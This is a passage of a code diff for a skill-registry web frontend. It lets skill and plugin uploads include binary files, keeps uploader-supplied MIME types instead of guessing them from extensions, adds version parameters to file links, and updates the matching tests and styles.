url.searchParams.set("preview", "1");
if (version) url.searchParams.set("version", version);
const response = await packageFetch(url, "text/plain");
if (response.ok) return await response.text();
if (response.status === 403 || response.status === 404 || response.status === 423) {
if (
response.status === 403 ||
response.status === 404 ||
response.status === 415 ||
response.status === 423
) {
return null;
}
throw await createPackageApiError(response);
src/lib/packageUpload.test.ts
+2 -2
View File
@@ -105,7 +105,7 @@ describe("buildPackageUploadEntries", () => {
expect(uploaded.map((entry) => entry.path)).toEqual(["package.json", "dist/index.js"]);
});
it("normalizes misleading text MIME types in upload entries", async () => {
it("preserves supplied MIME hints without extension-based rewriting", async () => {
const uploaded = await buildPackageUploadEntries(
[
{
@@ -121,7 +121,7 @@ describe("buildPackageUploadEntries", () => {
},
);
expect(uploaded[0]?.contentType).toBe("application/typescript");
expect(uploaded[0]?.contentType).toBe("video/mp2t");
});
it("keeps nested archive paths when files do not have webkitRelativePath", async () => {
src/lib/packageUpload.ts
+2 -2
View File
@@ -1,4 +1,4 @@
import { normalizeTextContentType } from "clawhub-schema/textFiles";
import { normalizeContentType } from "clawhub-schema/textFiles";
import ignore from "ignore";
type NormalizePackageUploadPathOptions = {
@@ -140,7 +140,7 @@ export async function buildPackageUploadEntries<TFile extends UploadablePackageF
size: file.size,
storageId,
sha256,
contentType: normalizeTextContentType(path, file.type) ?? file.type ?? undefined,
contentType: normalizeContentType(file.type),
});
}
src/lib/skillReadmeLinks.ts
+19 -1
View File
@@ -46,6 +46,7 @@ export function resolveSkillReadmeHref(
href: string,
skillSlug: string,
ownerHandle?: string | null,
version?: string | null,
) {
const safeHref = defaultUrlTransform(href);
if (!safeHref) return "";
@@ -60,9 +61,26 @@ export function resolveSkillReadmeHref(
const ownerQuery = ownerHandle?.trim()
? `&ownerHandle=${encodeURIComponent(ownerHandle.trim().replace(/^@+/, ""))}`
: "";
const versionQuery = version?.trim() ? `&version=${encodeURIComponent(version.trim())}` : "";
return `/api/v1/skills/${encodeURIComponent(skillSlug)}/file?path=${encodeURIComponent(
normalizedPath,
)}${ownerQuery}${fragment}`;
)}${ownerQuery}${versionQuery}${fragment}`;
}
export function buildSkillFileHref(
path: string,
skillSlug: string,
ownerHandle?: string | null,
version?: string | null,
) {
if (!path) return "";
const ownerQuery = ownerHandle?.trim()
? `&ownerHandle=${encodeURIComponent(ownerHandle.trim().replace(/^@+/, ""))}`
: "";
const versionQuery = version?.trim() ? `&version=${encodeURIComponent(version.trim())}` : "";
return `/api/v1/skills/${encodeURIComponent(skillSlug)}/file?path=${encodeURIComponent(
path,
)}${ownerQuery}${versionQuery}`;
}
export function resolveGitHubSkillReadmeHref(href: string, sourceBaseUrl: string) {
src/lib/uploadFiles.test.ts
+14 -11
View File
@@ -73,22 +73,29 @@ describe("expandFiles", () => {
expect(result.map((file) => file.name)).toEqual(["SKILL.md", "docs/readme.txt"]);
});
it("unwraps top-level folders in zip archives", async () => {
it("unwraps top-level folders and preserves mixed skill artifacts", async () => {
const zip = zipSync({
"hetzner-cloud-skill/SKILL.md": strToU8("hello"),
"hetzner-cloud-skill/docs/readme.txt": strToU8("doc"),
"hetzner-cloud-skill/main.tf": strToU8('resource "null_resource" "demo" {}\n'),
"__MACOSX/._SKILL.md": strToU8("junk"),
"hetzner-cloud-skill/._notes.txt": strToU8("junk3"),
"hetzner-cloud-skill/.DS_Store": strToU8("junk2"),
"hetzner-cloud-skill/screenshot.png": strToU8("not-really-a-png"),
"hetzner-cloud-skill/assets/payload.bin": Uint8Array.from([0, 1, 2, 255]),
});
const zipFile = new File([Uint8Array.from(zip).buffer], "pack.zip", {
type: "application/zip",
});
const result = await expandFiles([zipFile]);
expect(result.map((file) => file.name)).toEqual(["SKILL.md", "docs/readme.txt"]);
const png = result.find((file) => file.name.endsWith(".png"));
expect(png).toBeUndefined();
expect(result.map((file) => file.name)).toEqual([
"SKILL.md",
"docs/readme.txt",
"main.tf",
"assets/payload.bin",
]);
await expect(result.at(-1)?.arrayBuffer()).resolves.toEqual(
Uint8Array.from([0, 1, 2, 255]).buffer,
);
});
it("keeps binary files from archives when requested", async () => {
@@ -99,9 +106,7 @@ describe("expandFiles", () => {
const zipFile = new File([Uint8Array.from(zip).buffer], "pack.zip", {
type: "application/zip",
});
const report = await expandFilesWithReport([zipFile], {
includeBinaryArchiveFiles: true,
});
const report = await expandFilesWithReport([zipFile]);
expect(report.files.map((file) => file.name)).toEqual(["package.json", "dist/module.wasm"]);
});
@@ -157,9 +162,7 @@ describe("expandFiles", () => {
const tgzFile = new File([Uint8Array.from(tgz).buffer], "bundle.tgz", {
type: "application/gzip",
});
const report = await expandFilesWithReport([tgzFile], {
includeBinaryArchiveFiles: true,
});
const report = await expandFilesWithReport([tgzFile]);
expect(report.files.map((file) => file.name)).toEqual(["package.json", "dist/loader.node"]);
});
src/lib/uploadFiles.ts
+3 -43
View File
@@ -1,36 +1,11 @@
import { TEXT_FILE_EXTENSION_SET } from "clawhub-schema/textFiles";
import { gunzipSync, unzipSync } from "fflate";
const TEXT_TYPES = new Map([
["md", "text/markdown"],
["markdown", "text/markdown"],
["txt", "text/plain"],
["json", "application/json"],
["yaml", "text/yaml"],
["yml", "text/yaml"],
["toml", "text/plain"],
["js", "text/javascript"],
["ts", "text/plain"],
["tsx", "text/plain"],
["jsx", "text/plain"],
["css", "text/css"],
["html", "text/html"],
["svg", "image/svg+xml"],
]);
type ExpandFilesReport = {
files: File[];
ignoredLocalMetadataPaths: string[];
};
type ExpandFilesOptions = {
includeBinaryArchiveFiles?: boolean;
};
export async function expandFilesWithReport(
selected: File[],
options: ExpandFilesOptions = {},
): Promise<ExpandFilesReport> {
export async function expandFilesWithReport(selected: File[]): Promise<ExpandFilesReport> {
const expanded: File[] = [];
const ignoredLocalMetadataPaths: string[] = [];
for (const file of selected) {
@@ -41,13 +16,12 @@ export async function expandFilesWithReport(
expanded,
ignoredLocalMetadataPaths,
Object.entries(entries).map(([path, data]) => ({ path, data })),
options,
);
continue;
}
if (lower.endsWith(".tar.gz") || lower.endsWith(".tgz")) {
const unpacked = gunzipSync(new Uint8Array(await readArrayBuffer(file)));
pushArchiveEntries(expanded, ignoredLocalMetadataPaths, untar(unpacked), options);
pushArchiveEntries(expanded, ignoredLocalMetadataPaths, untar(unpacked));
continue;
}
if (lower.endsWith(".gz")) {
@@ -139,7 +113,6 @@ function pushArchiveEntries(
target: File[],
ignoredLocalMetadataPaths: string[],
entries: Array<{ path: string; data: Uint8Array }>,
options: ExpandFilesOptions = {},
) {
const normalized: Array<{ path: string; data: Uint8Array }> = [];
@@ -150,7 +123,6 @@ function pushArchiveEntries(
ignoredLocalMetadataPaths.push(path);
continue;
}
if (!options.includeBinaryArchiveFiles && !isTextPath(path)) continue;
normalized.push({ path, data: entry.data });
}
@@ -193,11 +165,7 @@ async function readArrayBuffer(file: Blob) {
}
function guessContentType(path: string) {
const ext = path.split(".").pop()?.toLowerCase();
if (!ext) return "application/octet-stream";
const known = TEXT_TYPES.get(ext);
if (known) return known;
if (TEXT_FILE_EXTENSION_SET.has(ext)) return "text/plain";
void path;
return "application/octet-stream";
}
@@ -272,14 +240,6 @@ function isLocalMetadataPath(path: string) {
return false;
}
function isTextPath(path: string) {
const normalized = path.trim().toLowerCase();
const parts = normalized.split(".");
const extension = parts.length > 1 ? (parts.at(-1) ?? "") : "";
if (!extension) return false;
return TEXT_FILE_EXTENSION_SET.has(extension);
}
type WebkitDataTransferItem = DataTransferItem & {
webkitGetAsEntry?: () => FileSystemEntry | null;
};
src/lib/uploadUtils.test.ts
+4 -17
View File
@@ -1,12 +1,5 @@
import { describe, expect, it, vi } from "vitest";
import {
formatBytes,
formatPublishError,
hashFile,
isTextFile,
readText,
uploadFile,
} from "./uploadUtils";
import { formatBytes, formatPublishError, hashFile, readText, uploadFile } from "./uploadUtils";
describe("uploadUtils", () => {
it("formats byte counts", () => {
@@ -36,12 +29,6 @@ describe("uploadUtils", () => {
expect(formatPublishError("wat")).toBe("Publish failed. Please try again.");
});
it("detects text files via MIME type and extension", () => {
expect(isTextFile(new File(["x"], "data.bin", { type: "text/plain" }))).toBe(true);
expect(isTextFile(new File(["x"], "README.md", { type: "" }))).toBe(true);
expect(isTextFile(new File(["x"], "image.png", { type: "" }))).toBe(false);
});
it("reads text from Blobs and string body fallbacks", async () => {
expect(await readText(new Blob(["hello"]))).toBe("hello");
expect(await readText("yo" as unknown as Blob)).toBe("yo");
@@ -57,13 +44,13 @@ describe("uploadUtils", () => {
const id = await uploadFile("https://example.com/upload", new File(["x"], "x.txt"));
expect(id).toBe("st_123");
expect(fetchMock.mock.calls[0]?.[1]).toMatchObject({
headers: { "Content-Type": "text/plain" },
headers: { "Content-Type": "application/octet-stream" },
});
vi.unstubAllGlobals();
});
it("normalizes misleading upload MIME types for TypeScript files", async () => {
it("preserves supplied upload MIME types without extension guessing", async () => {
const fetchMock = vi.fn().mockResolvedValue({
ok: true,
json: async () => ({ storageId: "st_123" }),
@@ -75,7 +62,7 @@ describe("uploadUtils", () => {
new File(["x"], "src/index.ts", { type: "video/mp2t" }),
);
expect(fetchMock.mock.calls[0]?.[1]).toMatchObject({
headers: { "Content-Type": "application/typescript" },
headers: { "Content-Type": "video/mp2t" },
});
vi.unstubAllGlobals();
src/lib/uploadUtils.ts
+2 -18
View File
@@ -1,14 +1,8 @@
import {
isTextContentType,
normalizeTextContentType,
TEXT_FILE_EXTENSION_SET,
} from "clawhub-schema/textFiles";
import { normalizeContentType } from "clawhub-schema/textFiles";
import { getUserFacingConvexError } from "./convexError";
export async function uploadFile(uploadUrl: string, file: File) {
const path = file.webkitRelativePath || file.name;
const contentType =
normalizeTextContentType(path, file.type) || file.type || "application/octet-stream";
const contentType = normalizeContentType(file.type) || file.type || "application/octet-stream";
const response = await fetch(uploadUrl, {
method: "POST",
headers: { "Content-Type": contentType },
@@ -49,16 +43,6 @@ export function formatPublishError(error: unknown) {
return getUserFacingConvexError(error, "Publish failed. Please try again.");
}
export function isTextFile(file: File) {
const path = (file.webkitRelativePath || file.name).trim().toLowerCase();
if (!path) return false;
const parts = path.split(".");
const extension = parts.length > 1 ? (parts.at(-1) ?? "") : "";
if (file.type && isTextContentType(file.type)) return true;
if (extension && TEXT_FILE_EXTENSION_SET.has(extension)) return true;
return false;
}
export async function readText(blob: Blob) {
if (typeof (blob as Blob & { text?: unknown }).text === "function") {
return (blob as Blob & { text: () => Promise<string> }).text();
src/routes/plugins/publish.tsx
+2 -4
View File
@@ -48,8 +48,8 @@ import { derivePluginPrefill, listPrefilledFields } from "../../lib/pluginPublis
import { buildPluginDetailHref, displayPluginPackageName } from "../../lib/pluginRoutes";
import { buildReadmeAssetBaseUrl } from "../../lib/readmeAssetBaseUrl";
import { expandFilesWithReport } from "../../lib/uploadFiles";
import { formatPublishError, hashFile, uploadFile } from "../../lib/uploadUtils";
import { useAuthStatus } from "../../lib/useAuthStatus";
import { formatPublishError, hashFile, uploadFile } from "../upload/-utils";
export const Route = createFileRoute("/plugins/publish")({
validateSearch: (search) => ({
@@ -426,9 +426,7 @@ export function PublishPluginRoute() {
}, [readmeAssetReport, sourceRepo, sourceCommit, sourcePath]);
const onPickFiles = async (selected: File[], sourceKind: PackagePickSource) => {
const expanded = await expandFilesWithReport(selected, {
includeBinaryArchiveFiles: true,
});
const expanded = await expandFilesWithReport(selected);
const filtered = await filterIgnoredPackageFiles(expanded.files);
const normalized = normalizePackageUploadFiles(filtered.files);
const nextIgnoredPaths = [
src/routes/settings.tsx
+1 -1
View File
@@ -73,8 +73,8 @@ import { ToggleGroup, ToggleGroupItem } from "../components/ui/toggle-group";
import { getUserFacingConvexError } from "../lib/convexError";
import { useThemeMode } from "../lib/theme";
import { timeAgo } from "../lib/timeAgo";
import { uploadFile } from "../lib/uploadUtils";
import { useAuthStatus } from "../lib/useAuthStatus";
import { uploadFile } from "./upload/-utils";
const settingsViews = ["account", "organizations", "githubSources", "tokens", "danger"] as const;
type SettingsView = (typeof settingsViews)[number];
src/routes/skills/publish.tsx
+7 -63
View File
@@ -5,7 +5,7 @@ import {
PLATFORM_SKILL_LICENSE_NAME,
PLATFORM_SKILL_LICENSE_SUMMARY,
} from "clawhub-schema/licenseConstants";
import { normalizeTextContentType } from "clawhub-schema/textFiles";
import { normalizeContentType } from "clawhub-schema/textFiles";
import { useAction, useMutation, useQuery } from "convex/react";
import {
Check,
@@ -53,15 +53,14 @@ import {
} from "../../lib/skillFrontmatter";
import { getPublicSlugCollision } from "../../lib/slugCollision";
import { expandDroppedItems, expandFilesWithReport } from "../../lib/uploadFiles";
import { useAuthStatus } from "../../lib/useAuthStatus";
import {
formatBytes,
formatPublishError,
hashFile,
isTextFile,
readText,
uploadFile,
} from "../upload/-utils";
} from "../../lib/uploadUtils";
import { useAuthStatus } from "../../lib/useAuthStatus";
const SLUG_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/;
const SKILL_PUBLISHING_GUIDE_URL = "https://docs.openclaw.ai/clawhub/skill-format";
@@ -228,10 +227,6 @@ export function Upload() {
}),
[normalizedFileEntries],
);
const unsupportedFileEntries = useMemo(
() => normalizedFileEntries.filter((entry) => !isTextFile(entry.file)),
[normalizedFileEntries],
);
const hasRequiredFile = useMemo(
() => normalizedPaths.some((path) => isRequiredSkillFile(path)),
[normalizedPaths],
@@ -499,14 +494,6 @@ export function Upload() {
`Confirm the ownership move from @${existingOwnerHandle} to @${ownerHandle} to publish.`,
);
}
if (unsupportedFileEntries.length > 0) {
issues.push(
`Remove unsupported files: ${unsupportedFileEntries
.slice(0, 3)
.map((entry) => entry.path)
.join(", ")}${unsupportedFileEntries.length > 3 ? ", ..." : ""}`,
);
}
if (oversizedFiles.length > 0) {
issues.push(`Each file must be 10MB or smaller: ${oversizedFileNames.join(", ")}`);
}
@@ -530,7 +517,6 @@ export function Upload() {
parsedTags.length,
acceptedLicenseTerms,
files,
unsupportedFileEntries,
hasRequiredFile,
totalBytes,
oversizedFiles.length,
@@ -585,7 +571,6 @@ export function Upload() {
const visibleFileIssues = validation.issues.filter((issue) => {
if (issue.startsWith("Add at least one file")) return hasAttempted;
if (issue === REQUIRED_FILE_ISSUE) return false;
if (issue.startsWith("Remove unsupported files")) return shouldShowFileIssues;
if (issue.startsWith("Each file")) return shouldShowFileIssues;
if (issue.startsWith("Total file size")) return shouldShowFileIssues;
return false;
@@ -674,12 +659,6 @@ export function Upload() {
resetFileInput();
}
function removeUnsupportedFiles() {
setFiles((current) => current.filter((file) => isTextFile(file)));
setPendingFileRemovalIndex(null);
resetFileInput();
}
async function handleSubmit(event: React.FormEvent) {
event.preventDefault();
setHasAttempted(true);
@@ -744,7 +723,7 @@ export function Upload() {
size: file.size,
storageId,
sha256,
contentType: normalizeTextContentType(path, file.type) ?? file.type ?? undefined,
contentType: normalizeContentType(file.type) ?? file.type ?? undefined,
});
}
@@ -902,26 +881,9 @@ export function Upload() {
{files.length} files · {sizeLabel}
</span>
</div>
{unsupportedFileEntries.length > 0 ? (
<div className="mt-3 flex flex-wrap gap-1.5">
<Badge variant="warning" size="sm">
{unsupportedFileEntries.length} unsupported
</Badge>
</div>
) : null}
</div>
</div>
<div className="flex shrink-0 flex-wrap items-center gap-4 md:justify-end">
{unsupportedFileEntries.length > 0 ? (
<Button
variant="outline"
size="sm"
type="button"
onClick={removeUnsupportedFiles}
>
Remove unsupported
</Button>
) : null}
<Button
variant="outline"
size="sm"
@@ -951,25 +913,16 @@ export function Upload() {
</Badge>
</div>
) : null}
{visibleFileEntries.map(({ file, index, path }) => {
const isUnsupported = !isTextFile(file);
{visibleFileEntries.map(({ index, path }) => {
const isConfirmingRemoval = pendingFileRemovalIndex === index;
return (
<div
key={`${index}:${path}`}
className={[
"flex items-center gap-2 rounded-[var(--radius-sm)] px-3 py-1.5 text-sm bg-[color:var(--surface-muted)]",
isUnsupported ? "text-status-error-fg" : "text-[color:var(--ink-soft)]",
].join(" ")}
className="flex items-center gap-2 rounded-[var(--radius-sm)] bg-[color:var(--surface-muted)] px-3 py-1.5 text-sm text-[color:var(--ink-soft)]"
>
<span className="min-w-0 flex-1 truncate font-mono" title={path}>
{path}
</span>
{isUnsupported ? (
<Badge variant="warning" size="sm">
Unsupported
</Badge>
) : null}
{isConfirmingRemoval ? (
<div className="flex shrink-0 items-center gap-1">
<span className="text-xs font-medium text-status-error-fg">
@@ -1019,16 +972,7 @@ export function Upload() {
<div className="flex flex-col gap-1">
{ignoredLocalMetadataNote ? <p>{ignoredLocalMetadataNote}</p> : null}
{visibleFileIssues.map((issue) => (
<p
key={issue}
className={
issue.startsWith("Remove unsupported files")
? "text-status-error-fg"
: undefined
}
>
{issue}
</p>
<p key={issue}>{issue}</p>
))}
</div>
</div>
src/routes/upload/-utils.ts
-67
View File
@@ -1,67 +0,0 @@
import {
isTextContentType,
normalizeTextContentType,
TEXT_FILE_EXTENSION_SET,
} from "clawhub-schema/textFiles";
import { getUserFacingConvexError } from "../../lib/convexError";
export async function uploadFile(uploadUrl: string, file: File) {
const path = file.webkitRelativePath || file.name;
const contentType =
normalizeTextContentType(path, file.type) || file.type || "application/octet-stream";
const response = await fetch(uploadUrl, {
method: "POST",
headers: { "Content-Type": contentType },
body: file,
});
if (!response.ok) {
throw new Error(`Upload failed: ${await response.text()}`);
}
const payload = (await response.json()) as { storageId: string };
return payload.storageId;
}
export async function hashFile(file: File) {
const buffer =
typeof file.arrayBuffer === "function"
? await file.arrayBuffer()
: await new Response(file).arrayBuffer();
const hash = await crypto.subtle.digest("SHA-256", new Uint8Array(buffer));
const bytes = new Uint8Array(hash);
return Array.from(bytes)
.map((byte) => byte.toString(16).padStart(2, "0"))
.join("");
}
export function formatBytes(bytes: number) {
if (!Number.isFinite(bytes)) return "0 B";
const units = ["B", "KB", "MB", "GB"];
let size = bytes;
let unit = 0;
while (size >= 1024 && unit < units.length - 1) {
size /= 1024;
unit += 1;
}
return `${size.toFixed(size < 10 && unit > 0 ? 1 : 0)} ${units[unit]}`;
}
export function formatPublishError(error: unknown) {
return getUserFacingConvexError(error, "Publish failed. Please try again.");
}
export function isTextFile(file: File) {
const path = (file.webkitRelativePath || file.name).trim().toLowerCase();
if (!path) return false;
const parts = path.split(".");
const extension = parts.length > 1 ? (parts.at(-1) ?? "") : "";
if (file.type && isTextContentType(file.type)) return true;
if (extension && TEXT_FILE_EXTENSION_SET.has(extension)) return true;
return false;
}
export async function readText(blob: Blob) {
if (typeof (blob as Blob & { text?: unknown }).text === "function") {
return (blob as Blob & { text: () => Promise<string> }).text();
}
return new Response(blob as BodyInit).text();
}
src/styles.css
+16
View File
@@ -11300,6 +11300,22 @@ code {
gap: 4px;
}
.file-viewer-download {
display: inline-grid;
width: 30px;
height: 30px;
place-items: center;
border-radius: var(--r-btn);
color: var(--ink-soft);
}
.file-viewer-download:hover,
.file-viewer-download:focus-visible {
background: color-mix(in srgb, var(--ink) 6%, transparent);
color: var(--ink);
outline: none;
}
.file-viewer-body {
min-height: 0;
max-height: min(66vh, 720px);